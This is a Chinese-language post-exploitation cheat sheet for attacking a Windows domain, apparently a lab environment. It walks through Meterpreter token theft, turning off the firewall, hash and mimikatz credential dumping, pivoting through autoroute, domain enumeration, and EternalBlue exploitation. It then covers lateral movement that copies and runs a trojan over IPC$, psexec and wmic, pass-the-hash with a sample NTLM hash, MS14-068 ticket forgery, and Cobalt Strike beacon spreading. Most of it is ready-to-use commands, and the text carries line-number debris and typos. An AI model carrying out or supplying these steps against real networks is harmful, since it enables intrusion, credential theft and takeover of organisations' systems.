map 192.168.44.133 –script vuln
令牌窃取提权 1 2 3 4 5 6 meterpreter > load incognito //加载incognito meterpreter > getuid //查看当前token meterpreter > list_tokens -u //列出可用token meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" //token窃取,格式为impersonate_token"主机名\\用户名" meterpreter > getuid //查看当前token meterpreter > rev2self //返回之前的token
关闭防火墙
netsh advfirewall set allprofiles state off
1.导出hash
1 2 run hashdump run windows/gather/smart_hashdump
2:加载 kiwi模块
3.内网漫游
MSF搭建socks代理
· 添加路由的目的是为了让我们的MSF其他模块能访问内网的其他主机
· 添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务
注:添加路由一定要在挂代理之前,因为代理需要用到路由功能
判断蜜罐 1 2 3 查看监听当前目录: ls 判断靶机是否进入蜜罐:run post/windows/gather/checkvm 列举安装程序:run post/windows/gather/enum_applications
域信息收集 shell中运行chcp 65001 解决乱码
1 2 3 4 5 6 7 8 9 10 11 12 13 net view #查看局域网内其他主机名 net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user #查看本机用户列表 net user /domain #查看域用户 net localgroup administrators #查看本地管理员组(通常会有域用户) net view /domain #查看有几个域 net user 用户名 /domain #获取指定域用户的信息 net group /domain#查看域里面的工作组,查看把用户分了多少组(域控上操作) net group 组名 /domain #查看域中某工作组 net group "domain admins" /domain #查看域管理员的名字 net group "domain computers" /domain #查看域中的其他主机名 net group "doamin controllers" /domain #查看域控制器主机名
内网主机信息收集(内网横向渗透) 添加路由 后进行扫描
1 2 3 4 5 6 MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了。 #加载MSFautoroute模块,探测当前机器所有网段信息 meterpreter > run post/multi/manage/autoroute #添加目标内网路由 meterpreter > run post/multi/manage/autoroute SUBNET=192.168.44.129 ACTION=ADD
内网存活主机探测 1 2 后渗透阶段之基于MSF的内网主机探测 auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
内网存活主机端口扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(默认扫描1-10000) auxiliary/scanner/ftp/ftp_version 发现内网ftp服务,基于默认21端口 auxiliary/scanner/ssh/ssh_version 内网ssh服务,基于默认22端口 auxiliary/scanner/telnet/telnet_version 内网telnet服务,基于默认23端口 auxiliary/scanner/dns/dns_amp 发现dns服务,基于默认53端口 auxiliary/scanner/http/http_version 发现内网http服务,基于默认80端口 auxiliary/scanner/http/title 探测内网http服务的标题 auxiliary/scanner/smb/smb_version 内网smb服务,基于默认的445端口 auxiliary/scanner/mssql/mssql_schemadump 内网SQLServer服务,基于默认的1433端口 auxiliary/scanner/oracle/oracle_hashdump 内网oracle服务,基于默认的1521端口 auxiliary/scanner/mysql/mysql_version 内网mysql服务,基于默认3306端口 auxiliary/scanner/rdp/rdp_scanner 内网RDP服务,基于默认3389端口 auxiliary/scanner/redis/redis_server 内网Redis服务,基于默认6379端口auxiliary/scanner/db2/db2_version 探测内网的db2服务,基于默认的50000端口auxiliary/scanner/netbios/nbname内网主机的netbios名字
1 2 3 4 5 6 7 8 1. 内网横向探测 获取到一个 cs 的 beacon 后可以目标内网情况和端口开放情况,在 beacon 上右键 -> 目 标 -> 选择 net view 或者 port scan: 可以在菜单栏中,view视窗的targets选项中查看 2. 用 cs 的 hashdump 读内存密码:hashdump,用 mimikatz 读注册表密码:logonpasswords。获取相应账户凭证或者: 右键->Access->Dump Hashes(需要Administrator权限) 右键->Access->Run Mimikatz 可以在凭证栏中查看获取的凭证
内网横向渗透攻击 1.MS17-010永恒之蓝 1 2 3 4 search ms17-010 注意这里的payload必须设置为正向连接 bind_tcp use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp
2.CVE-2019-0708 windows RDP协议的漏洞 该漏洞成功率不高,而且极有可能把目标机打成蓝屏
3.psexec攻击 获得了域管理员 administrator 的账号密码
使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。
注:由于提示需要修改密码,所以已将 god/administrator 的密码改为 Password@ 。
psexec.exe \192.168.52.138 -u god\administrator -p Password@ cmd
psexec 传递 1 2 3 4 5 6 7 8 9 10 psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。 psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行 原理是基于IPC共享,所以要目标打开 445 端口。 另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。 获取凭据后对目标网段进行端口存活探测,因为是 psexec 传递登录,这里仅需探测445端口 命令:portscan ip网段 端口 扫描协议(arp、icmp、none) 线程 例如:portscan 10.10.10.0/24 445 arp 200
IPC连接 建立IPC$连接上传木马 建立后可以访问目标机器的文件(上传、下载),也可以在目标机器上运行命令。上传和下载文件直接通过copy命令就可以,不过路径换成UNC路径 。
常用命令:
1 2 3 4 net use \\ip\ipc$ pawword /user:username 建立IPC连接 copy hacker.exe \\10.10.10.10\C$\windows\temp 复制本地文件到目标服务器 copy \\10.10.10.10\C$\windows\temp\hash.txt 复制目标服务器文件到本地
wmic命令执行木马 1 wmic /node:10.10.10.10 /user:用户名 /password:密码 process call create "目标机中的木马路径"
4.哈希传递攻击 只有获得了域管理员的哈希才可以攻击。没有得到明文密码
1 2 3 4 5 6 7 【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。 在域环境中,利用哈希传递攻击的渗透方式往往是这样的: 1.获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值; 2.通过哈希传递攻击尝试登录其他主机; 3.继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。
1 sekurlsa::pth /user:administrator /domain: "god.org" /ntlm:c456c606a647ef44b646c44a227917a4
5.MS14-068 用于当我们获得了普通域用户的哈希 ,域控存在MS14-068漏洞
先获取需要利用的域用户的SID值
whoami /all
1 2 3 4 5 6 7 #生成票据 TGT_administrator@god.org.ccache MS14-068.exe -u administrator@god.org -p Password@ -s S-1-5-21-2952760202-1353902439-2381784089-500 -d 192.168.52.138 #MS14-068.exe -u 域用户@dog.org -p 域用户密码 -s 域用户的SID -d 域控ip #在mimikatz中导入票据 kerberos::ptc %uA0TGT_administrator@god.org.ccache 的路径然后再打开一个cmd窗口尝试访问域控dir \\192.168.52.138\c$
SMB Beacon和psexec传递(msf中的hash传递攻击) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 - 在探测到其他两个内网机器开了445端口的前提下,可以使用SMB beacon获取。相当于在msf里面使用永恒之蓝获取shell。有两种方法 - 直接派生,新建一个listener,pyload设置为beacon_smb 在已有的 Beacon 上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon 的 listerner: 选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标: 这就是派生的 SMB Beacon,当前没有连接,可以在主 Beacon 上用 link host 连接它,或者unlink host 断开 就是说通过之前的beacon为跳板通过SMB去连接新beacon获取权限shell 可以在视图界面查看图形化连接情况 - 前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息,尝试使用 psexec 模块登录其他主机,右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块: - 在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息,监听器选择之前创建的smb beacon,会话也选择对应的 smb beacon 的会话: - 成功上线,并返回新的beacon